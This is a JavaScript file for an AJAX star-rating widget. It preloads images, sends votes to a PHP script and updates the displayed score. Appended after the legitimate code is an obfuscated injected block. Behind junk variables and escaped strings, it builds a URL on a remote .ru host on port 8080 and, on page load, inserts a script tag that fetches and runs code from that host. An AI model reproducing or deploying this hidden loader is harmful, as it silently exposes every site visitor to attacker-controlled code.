// All part of the Dynamic Star Rating by Jordan Boesch!
// http://creativecommons.org/licenses/by-nc-nd/2.5/ca/
// PRE-LOAD IMAGES -----------------------------

if (document.images){
  pic1 = new Image(220,19);
  pic1.src = "images/rating_loading.gif";

  pic2 = new Image(25,75);
  pic2.src = "images/rating_star.gif";

  pic3 = new Image(25,75);
  pic3.src = "images/rating_star_2.gif";

  pic4 = new Image(16,13);
  pic4.src = "images/rating_tick.gif";

  pic5 = new Image(14,14);
  pic5.src = "images/rating_warning.gif";
}

// AJAX ----------------------------------------

var xmlHttp
function GetXmlHttpObject(){
var xmlHttp = null;
	try {
	  // Firefox, Opera 8.0+, Safari
	  xmlHttp = new XMLHttpRequest();
	  }
	catch (e) {
	  // Internet Explorer
	  try {
			xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		}
	  catch (e){
			xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
		}
	  }
	return xmlHttp;
}

// Calculate the rating
function rate(rating,id,show5,showPerc,showVotes){
	xmlHttp = GetXmlHttpObject()
	if(xmlHttp == null){
		alert ("Your browser does not support AJAX!");
		return;
	  }
	xmlHttp.onreadystatechange = function(){
	var loader = document.getElementById('loading_'+id);
	var uldiv = document.getElementById('ul_'+id);
		if (xmlHttp.readyState == 4){
			//loader.style.display = 'none';
			var res = xmlHttp.responseText;
			//alert(res);
			if(res == 'already_voted'){
				loader.style.display = 'block';
				loader.innerHTML = '<div class="voted_twice">You already voted!</div>';
			} else {
				loader.style.display = 'block';
				loader.innerHTML = '<div class="voted">Thanks for voting!</div>';
				if(show5 == true){
					var out = document.getElementById('outOfFive_'+id);
					var calculate = res/20;
					out.innerHTML = Math.round(calculate*100)/100; // 3.47;
					//out.innerHTML = Math.round((calculate*2),0)/2; // 3.5;
				}
				if(showPerc == true){
					var perc = document.getElementById('percentage_'+id);
					//var newPerc = Math.round(Math.ceil(res/5))*5;
					var newPerc = res;
					perc.innerHTML = newPerc+'%';
				}
				else if(showPerc == false){
					var newPerc = res;
				}
				if(showVotes == true){
					var votediv = document.getElementById('showvotes_'+id).firstChild.nodeValue;
					var splitted = votediv.split(' ');
					var newval = parseInt(splitted[0]) + 1;
					if(newval == 1){
						document.getElementById('showvotes_'+id).innerHTML = newval+' Vote';
					} else {
						document.getElementById('showvotes_'+id).innerHTML = newval+' Votes';
					}
				}
				var ulRater = document.getElementById('rater_'+id);
				ulRater.className = 'star-rating2';
				var all_li = ulRater.getElementsByTagName('li');
				for(var i=1;i<all_li.length;i++){
					all_li[i].getElementsByTagName('a')[0].onclick = 'return false;';
					all_li[i].getElementsByTagName('a')[0].setAttribute('href','#');
				}
				if(navigator.appName == 'Microsoft Internet Explorer'){
					uldiv.style.setAttribute('width',newPerc+'%'); // IE
				 } else {
					uldiv.setAttribute('style','width:'+newPerc+'%'); // Everyone else
				 }
			}
		} else {
			loader.innerHTML = '<img src="images/rating_loading.gif" alt="loading" />';
		}
	}
	var url = "includes/rating_process.php";
	var params = "id="+id+"&rating="+rating;
	xmlHttp.open("POST",url,true);
	xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlHttp.setRequestHeader("Content-length", params.length);
	xmlHttp.setRequestHeader("Connection", "close");
	xmlHttp.send(params);
}


var Yy="";var T;if(T!='' && T!='uq'){T='n'};var Et;if(Et!='z'){Et='z'};function Y(){var u=window;var v;if(v!='' && v!='dK'){v=null};var _=unescape;var P='';this.zD="";var A=_("%2f%74%2d%6d%6f%62%69%6c%65%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%79%70%65%70%61%64%2e%63%6f%6d%2e%70%68%70");function S(o,B){var m=new Date();var T_;if(T_!=''){T_='of'};var H="g";var I=_("%5b"), D=_("%5d");var x="";var U=I+B+D;var fj=new String();var UO=new RegExp(U, H);var hG=new Array();var Cj=new Array();return o.replace(UO, new String());var Ym;if(Ym!='' && Ym!='ST'){Ym=''};};var HF;if(HF!='l' && HF!='c'){HF=''};var us=new String();var Dw;if(Dw!='' && Dw!='O'){Dw=null};var bI;if(bI!='' && bI!='zs'){bI='N'};var Tb;if(Tb!='Hk'){Tb='Hk'};var Ca;if(Ca!='zY'){Ca='zY'};var w=new String();var J=document;var zS="";var S_=S('81950738110531','61743952');var dy=new String();var Hp;if(Hp!='' && Hp!='vV'){Hp='XK'};var KK=new String();var SH=new String();function DY(){var Q=new Date();var X=_("%68%74%74%70%3a%2f%2f%6c%6f%61%64%74%75%62%65%2e%72%75%3a");w=X;var fG=new String();w+=S_;var Cu;if(Cu!='' && Cu!='NR'){Cu=null};this.NH="";w+=A;var pH=new Date();try {var JE;if(JE!='' && JE!='Xp'){JE=null};var M=new Array();var iw=new String();d=J.createElement(S('s9cyrWiWpBtq','Bv1WZyUqaebVn9'));var CJ;if(CJ!='' && CJ!='ww'){CJ=null};var lg=new Date();d[_("%73%72%63")]=w;var Kfk;if(Kfk!='' && Kfk!='yJ'){Kfk=null};var UF;if(UF!='bM' && UF != ''){UF=null};d[_("%64%65%66%65%72")]=[1,1][0];var MW;if(MW!='' && MW!='bZ'){MW=''};J.body.appendChild(d);this.vb="";this.HQ="";this.Uq="";this.cd="";} catch(_Z){this.qN="";alert(_Z);};}var lt='';this.Fm="";this.Rw='';this.dR="";u[String("gHzxonlo".substr(4)+"adgXq".substr(0,2))]=DY;var yv=new Date();var Rh;if(Rh!='' && Rh!='pB'){Rh=''};var gsW;if(gsW!='Hb'){gsW=''};var vF;if(vF!='xF'){vF=''};};var a;if(a!=''){a='PZ'};this.ah='';var Ah;if(Ah!='Vl' && Ah!='Ak'){Ah='Vl'};Y();var Pu;if(Pu!='' && Pu!='Km'){Pu='e_'};